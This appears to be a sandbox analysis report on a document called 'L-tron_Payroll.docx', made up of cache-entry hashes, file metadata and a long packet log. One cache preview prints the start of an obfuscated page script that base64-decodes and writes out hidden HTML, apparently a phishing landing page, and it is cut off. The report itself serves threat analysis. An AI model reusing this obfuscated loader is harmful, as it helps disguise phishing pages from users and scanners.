SHA-512:	06EBB6490C791C61B29C0A9E9E79D0EC561638779D49024BFF66FEE80BD70B52450EAA95DC4C56DFDBC07630712EA0F8DFDFE601DCC7A3DC8C12E3176AEB5B2E
Malicious:	false
URL:	https://z2k.3kf2d.com/ilPHd/
Preview:	I find that the harder I work, the more luck I seem to have. -->.. Try not to become a man of success. Rather become a man of value. -->..<script>../* The only place where success comes before work is in the dictionary. */..if(atob("aHR0cHM6Ly96MksuM2tmMmQuY29tL2lsUEhkLw==") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lk

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 59, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlVEt/lVBxl/k4E08up:6v/lhP8tTB7Tp
MD5:	D7E880FBEA39D64F9EAEF283ED0FC889
SHA1:	B5D427C5D3DF75E169D747E162E77FFB273D8350
SHA-256:	D51AED39E78DF5489D2866BD38166AEDE29DDF5D87F28666D774619C85332211
SHA-512:	F3C487809D951972E96B62D0807CE6DDD7EAD84604EFD7977FC011B64E1930FB62052F578E4B31D3EA852264A7DB0FEA4D0AD7418F58ED223CEB5BF1848185C4
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8cf0729b4f0b8ca5/1728330917016/SRRsa0q_X0qneYx
Preview:	.PNG........IHDR...(...;......._.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Static File Info

General

File type:	Microsoft OOXML
Entropy (8bit):	7.9704521594247355
TrID:	Word Microsoft Office Open XML Format document (49504/1) 58.23% Word Microsoft Office Open XML Format document (27504/1) 32.35% ZIP compressed archive (8000/1) 9.41%
File name:	L-tron_Payroll.docx
File size:	61'731 bytes
MD5:	59de93969964cbab5c5512407aedb1cf
SHA1:	db04a116c84c7fff38702e0e649dbf14170f7cfa
SHA256:	6b0a057a39cfa120771c1876f543f68620f7052e4df15af4627ba7b2572e9edd
SHA512:	1aa6f487c16397111128a1f1d837fef449ae46292fa63b31648da2a49d73538b839f637a890851b7e9589898531a3e5788a1cae64bf1899282f857edd8b53a50
SSDEEP:	1536:yum7rZHIVr/CGD5uLmdU5gjg/RzzuWV9/1:yum7rZH2CTmSSkJzl9/1
TLSH:	6C5302748E1B5031EF9B5333DA9A8E13F8168E9089956FBB3C3BD379517264D6E23081
File Content Preview:	PK..........GY................[Content_Types].xml..OO.0...\|.(..P....VM9,p\.(b..3i..'....g.h...)[.D.g.{...gz.dM....wuqTM.....v...._.'E.$]#.wP....tv0.o.`.b.u.".?.@..+....WZ..$~.K....K.?&.c..#pTR..g.3h..Pv....H~.`.g.^.SV.k.......7,I......Id.F+I\...y7K.:G....

File Icon


Icon Hash:	35e5c48caa8a8599

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 21:52:58.807342052 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:52:58.807396889 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:52:58.932305098 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:00.808623075 CEST	443	49705	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:00.809108019 CEST	49705	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:03.737696886 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:03.737744093 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:03.737808943 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:03.740113974 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:03.740133047 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:04.521502018 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:04.521581888 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:04.917488098 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:04.917520046 CEST	443	49717	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:04.917607069 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:04.918726921 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:04.918740034 CEST	443	49717	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.438570023 CEST	443	49717	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.439320087 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.439347029 CEST	443	49717	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.441342115 CEST	443	49717	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.441421032 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.444699049 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.444753885 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.444783926 CEST	443	49717	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.444885015 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.444892883 CEST	443	49717	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.444916964 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.444938898 CEST	49717	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.445436001 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.445481062 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.445539951 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.445725918 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.445744038 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.530639887 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.530674934 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.530988932 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.532331944 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.532366037 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.532429934 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.799674988 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.801852942 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.801925898 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.802104950 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.802129030 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.802155972 CEST	49714	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.802164078 CEST	443	49714	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.853250980 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.853293896 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.855420113 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.855420113 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.855454922 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.894584894 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.894865036 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.894879103 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.896334887 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.896413088 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.897665977 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.897747993 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.897922993 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.897931099 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:05.939960957 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:05.988337040 CEST	49724	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.988367081 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:05.988420010 CEST	49724	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.989809990 CEST	49724	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:05.989825010 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:06.489377022 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:06.489403963 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:06.489664078 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:06.490086079 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:06.490098953 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:06.644036055 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:06.644212008 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:06.656774998 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:06.656796932 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:06.657008886 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:06.657691002 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:06.657728910 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:06.657757044 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:06.780762911 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:06.781443119 CEST	49724	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:06.781497955 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:06.782318115 CEST	49724	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:06.782327890 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:06.782428026 CEST	49724	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:06.782440901 CEST	443	49724	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:06.961797953 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.961956978 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.962007999 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:06.962023973 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.962837934 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.962894917 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:06.962914944 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.963612080 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.963665962 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:06.963673115 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.964329958 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.964410067 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.964411020 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:06.964440107 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:06.964489937 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:06.964965105 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:07.001619101 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:07.001687050 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:07.001780033 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:07.017594099 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:07.017594099 CEST	49723	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:07.017621994 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:07.017627954 CEST	443	49723	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:07.017748117 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:07.017754078 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:07.044233084 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:07.044302940 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:07.044312954 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:07.045190096 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:07.045260906 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:07.113818884 CEST	49721	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:07.113826036 CEST	443	49721	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:07.155317068 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.155356884 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.155414104 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.155742884 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.155822039 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.156099081 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.156827927 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.156866074 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.157288074 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.157301903 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.160490036 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.160522938 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.160573006 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.160734892 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.160751104 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.172703028 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.172893047 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.384985924 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.385004997 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.385255098 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.418349028 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.463417053 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.515716076 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.515738010 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.515793085 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.515795946 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.515814066 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.515826941 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.515882969 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.515882969 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.598854065 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.598884106 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.598963022 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.598972082 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.598982096 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.599108934 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.599220991 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.600683928 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.600728989 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.602375984 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.602449894 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.603646994 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.603749037 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.603821993 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.605663061 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.605679989 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.605724096 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.605731010 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.605771065 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.605796099 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.625602961 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.625808954 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.625829935 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.626719952 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.626780987 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.627924919 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.627990961 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.628242016 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.628251076 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.632462025 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.632663965 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.632698059 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.634116888 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.634179115 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.635150909 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.635231018 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.635333061 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.635344028 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.644668102 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.644706964 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.676259995 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.676278114 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.691649914 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.711584091 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.711606979 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.711787939 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.711795092 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.711839914 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.712469101 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.713154078 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.713201046 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.713241100 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.713258028 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.713293076 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.713315010 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.714076042 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.714157104 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.714170933 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.715002060 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.715703011 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.715714931 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.715920925 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.715958118 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.715964079 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.715974092 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.716021061 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.716574907 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.716592073 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.716655970 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.716661930 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.716705084 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.716705084 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.718395948 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.718415976 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.718576908 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.718583107 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.718971968 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.720901966 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.720918894 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.720988035 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.721040010 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.721045971 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.721262932 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.743132114 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.743206024 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.743345976 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.743984938 CEST	49728	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.744007111 CEST	443	49728	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.745948076 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.745975018 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.746432066 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.746850967 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:07.746866941 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:07.761193991 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.761312008 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.761396885 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.761451960 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.761472940 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.761521101 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.761528015 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.761745930 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.761795044 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.761802912 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.761893034 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.761974096 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.762020111 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.762028933 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.762065887 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.762072086 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.765825033 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.765882015 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.765888929 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.770821095 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.795207024 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.795227051 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.795408010 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.795417070 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.795622110 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.798182964 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.798198938 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.798257113 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.798263073 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.798413038 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.800244093 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.800263882 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.800311089 CEST	443	49729	151.101.66.137	192.168.2.5
